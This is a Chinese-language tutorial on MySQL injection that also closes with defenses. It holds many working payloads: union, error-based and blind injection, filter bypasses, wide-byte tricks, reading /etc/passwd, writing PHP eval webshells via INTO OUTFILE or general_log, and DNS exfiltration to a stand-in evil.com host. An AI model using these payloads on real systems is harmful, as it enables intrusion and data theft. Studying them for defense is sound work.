对MYSQL注入相关内容及部分Trick的归类小结
字数 2019 2025-08-25 22:59:02

MySQL注入全面指南:从入门到进阶

一、MySQL简介与SQL注入基础

1.1 MySQL基本概念

MySQL是一个开源的关系型数据库管理系统,由瑞典MySQL AB公司开发,现属于Oracle公司。特点包括:

  • 关联数据库系统,数据保存在不同表中
  • 使用标准SQL数据语言
  • 支持多种编程语言
  • 对PHP有良好支持
  • 支持大型数据库(5000万条记录)
  • 可定制性高(GPL协议)

1.2 SQL注入定义

SQL注入是开发者未对用户输入进行严格限制/转义,导致用户输入特定字符时与后端SQL语句拼接产生歧义,使用户能控制SQL语句与数据库通信。

示例

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username = '$username' and password='$password'";

当输入username=admin'#password=123时,SQL变为:

select * from users where username = 'admin' # ' and password='123'

#注释掉后续内容,实现无密码登录。

二、MySQL注入分类与技术

2.1 按回显情况分类

有回显注入

联合查询注入法

正常查询语句 union select columns_name from (database.)table_name where condition

关键点

  1. 前查询返回空(and 1=2
  2. 前后select字段数必须相同
  3. 通过order by确定字段数

无回显注入

  1. 报错注入:利用特殊函数错误返回信息
    and exp(~(select * from (select user())a))
    and updatexml(1,concat(0x7e,(select user()),0x7e),1)
    
  2. 盲注
    • 布尔盲注:通过页面返回差异判断
      and if(substr((select password from users where username='admin'),1,1)='a',1,0)
      
    • 时间盲注:通过响应延迟判断
      and if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
      

2.2 三大注入基本步骤

联合查询注入步骤

  1. 确定字段数:order by x
  2. 判断回显位置:union select 1,2,3,...
  3. 查询数据:替换数字为查询语句

盲注步骤

  1. 布尔盲注:构造永真/永假条件观察差异
  2. 时间盲注:通过sleep()等函数制造延迟

报错注入步骤

  1. 利用特殊函数错误返回数据
  2. 常见函数:exp(), updatexml(), extractvalue(), floor()+rand()+count()

三、进阶注入技术与绕过方法

3.1 常见防御绕过技术

过滤绕过

  1. 关键字过滤
    • 双写:ununionion绕过union过滤
    • 大小写混搭:UnIoN SeLeCt
  2. 空格过滤
    • 多层括号:union(select(1),2)
    • 注释:union/**/select/**/1,2
    • 特殊字符:%09, %0a, %0b
  3. 逗号过滤
    • substr(data from 1 for 1)代替substr(data,1,1)
    • limit 9 offset 4代替limit 9,4
  4. 引号过滤
    • 十六进制:0x61646d696e代替'admin'
    • 进制转换:conv(hex(substr(user(),1,1)),16,10)

3.2 编码问题利用

宽字节注入

当使用GBK等宽字符集且addslashes转义时:

$conn->query("set names 'gbk'");
$username = addslashes($_POST['username']);  // 转义单引号

Payload:username=%df%27or%201=1%23

  • %df%5c构成GBK字符"運"
  • 单引号逃逸

Latin1默认编码

当MySQL使用Latin1编码时:

SELECT * FROM `table1` WHERE username='admin%c2'

MySQL会截断非法字符,实际查询admin

3.3 报错注入原理详解

常见报错函数

  1. exp():数值溢出
    and exp(~(select * from (select user())a))
    
  2. updatexml():XPath格式错误
    and updatexml(1,concat(0x7e,(select user()),0x7e),1)
    
  3. extractvalue():同updatexml
  4. floor()+rand()+group by:虚拟表主键冲突
    union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
    

3.4 文件读写操作

读取文件

select load_file('/etc/passwd');
load data infile "/etc/passwd" into table test;
load data local infile "/etc/passwd" into table test;

限制

  • secure-file-priv设置
  • 绝对路径
  • 文件大小小于max_allowed_packet

写入文件

select 1,"<?php @eval($_POST['cmd']);?>" into outfile '/var/www/shell.php';

日志法(当secure-file-priv=NULL):

set global general_log_file='/var/www/shell.php';
set global general_log=on;
select '<?php @eval($_POST["cmd"]);?>';

3.5 DNSLOG带外数据

select load_file(concat('\\\\',(select hex(user())),'.evil.com\\abc'));

利用Windows UNC路径特性触发DNS查询

四、特殊场景注入技术

4.1 二次注入

攻击流程:

  1. 注册用户admin' #
  2. 数据存储为admin' #(转义单引号)
  3. 登录后$_SESSION['username']值为admin' #
  4. 查询时SQL变为:
    select * from users where username='admin' #'
    

4.2 堆叠注入

利用分号执行多条语句:

select * from users where id=1;rename table users to users1;

PHP支持情况

  • Mysqli:支持
  • PDO:大多数支持
  • MySQL:不支持

4.3 Handler语句

替代SELECT查询:

handler users open as yunensec;
handler yunensec read first;
handler yunensec read next;
handler yunensec close;

4.4 无列名注入

  1. 通过别名:
    union select `x` from (select 1,2,3 as x,4 from table_name)a
    
  2. 通过JOIN报错:
    select * from (select * from users a join (select * from users)b)c
    
  3. 通过比较盲注:
    select * from users where (select 'r' union select user() order by 1 limit 1) = 'r'
    

五、防御措施

  1. 输入处理
    • 单引号闭合并转义
    • 使用预编译语句
  2. 权限控制
    • 最小权限原则
    • 限制file_priv
  3. 配置加固
    • 设置secure-file-priv
    • 关闭错误显示
  4. 其他措施
    • 白名单过滤
    • WAF防护
    • 统一编码

六、实用Trick集合

  1. 正则回溯绕过
    union/*a百万次*/select
    
  2. UPDATE重复赋值
    UPDATE table set col1=payload,col1=1
    
  3. SYS系统库查询
    SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
    
  4. 无列名盲注
    (select 'admin','admin')>(select * from users limit 1)
    

七、总结

MySQL注入技术多样,从基础的联合查询到复杂的盲注和报错注入,再到特殊场景的绕过技术,攻击者总能找到突破口。防御需要从输入处理、权限控制、配置加固等多方面入手,建立纵深防御体系。作为开发人员,应始终遵循最小权限原则,使用预编译语句,并对用户输入保持高度警惕。

MySQL注入全面指南:从入门到进阶 一、MySQL简介与SQL注入基础 1.1 MySQL基本概念 MySQL是一个开源的关系型数据库管理系统,由瑞典MySQL AB公司开发,现属于Oracle公司。特点包括: 关联数据库系统,数据保存在不同表中 使用标准SQL数据语言 支持多种编程语言 对PHP有良好支持 支持大型数据库(5000万条记录) 可定制性高(GPL协议) 1.2 SQL注入定义 SQL注入是开发者未对用户输入进行严格限制/转义,导致用户输入特定字符时与后端SQL语句拼接产生歧义,使用户能控制SQL语句与数据库通信。 示例 : 当输入 username=admin'# 和 password=123 时,SQL变为: # 注释掉后续内容,实现无密码登录。 二、MySQL注入分类与技术 2.1 按回显情况分类 有回显注入 联合查询注入法 : 关键点 : 前查询返回空( and 1=2 ) 前后select字段数必须相同 通过 order by 确定字段数 无回显注入 报错注入 :利用特殊函数错误返回信息 盲注 : 布尔盲注:通过页面返回差异判断 时间盲注:通过响应延迟判断 2.2 三大注入基本步骤 联合查询注入步骤 确定字段数: order by x 判断回显位置: union select 1,2,3,... 查询数据:替换数字为查询语句 盲注步骤 布尔盲注:构造永真/永假条件观察差异 时间盲注:通过 sleep() 等函数制造延迟 报错注入步骤 利用特殊函数错误返回数据 常见函数: exp() , updatexml() , extractvalue() , floor()+rand()+count() 三、进阶注入技术与绕过方法 3.1 常见防御绕过技术 过滤绕过 关键字过滤 : 双写: ununionion 绕过 union 过滤 大小写混搭: UnIoN SeLeCt 空格过滤 : 多层括号: union(select(1),2) 注释: union/**/select/**/1,2 特殊字符: %09 , %0a , %0b 等 逗号过滤 : substr(data from 1 for 1) 代替 substr(data,1,1) limit 9 offset 4 代替 limit 9,4 引号过滤 : 十六进制: 0x61646d696e 代替 'admin' 进制转换: conv(hex(substr(user(),1,1)),16,10) 3.2 编码问题利用 宽字节注入 当使用GBK等宽字符集且 addslashes 转义时: Payload: username=%df%27or%201=1%23 %df%5c 构成GBK字符"運" 单引号逃逸 Latin1默认编码 当MySQL使用Latin1编码时: MySQL会截断非法字符,实际查询 admin 3.3 报错注入原理详解 常见报错函数 exp() :数值溢出 updatexml() :XPath格式错误 extractvalue() :同updatexml floor()+rand()+group by :虚拟表主键冲突 3.4 文件读写操作 读取文件 限制 : secure-file-priv 设置 绝对路径 文件大小小于 max_allowed_packet 写入文件 日志法 (当 secure-file-priv=NULL ): 3.5 DNSLOG带外数据 利用Windows UNC路径特性触发DNS查询 四、特殊场景注入技术 4.1 二次注入 攻击流程: 注册用户 admin' # 数据存储为 admin' # (转义单引号) 登录后 $_SESSION['username'] 值为 admin' # 查询时SQL变为: 4.2 堆叠注入 利用分号执行多条语句: PHP支持情况 : Mysqli:支持 PDO:大多数支持 MySQL:不支持 4.3 Handler语句 替代SELECT查询: 4.4 无列名注入 通过别名: 通过JOIN报错: 通过比较盲注: 五、防御措施 输入处理 : 单引号闭合并转义 使用预编译语句 权限控制 : 最小权限原则 限制 file_priv 配置加固 : 设置 secure-file-priv 关闭错误显示 其他措施 : 白名单过滤 WAF防护 统一编码 六、实用Trick集合 正则回溯绕过 : UPDATE重复赋值 : SYS系统库查询 : 无列名盲注 : 七、总结 MySQL注入技术多样,从基础的联合查询到复杂的盲注和报错注入,再到特殊场景的绕过技术,攻击者总能找到突破口。防御需要从输入处理、权限控制、配置加固等多方面入手,建立纵深防御体系。作为开发人员,应始终遵循最小权限原则,使用预编译语句,并对用户输入保持高度警惕。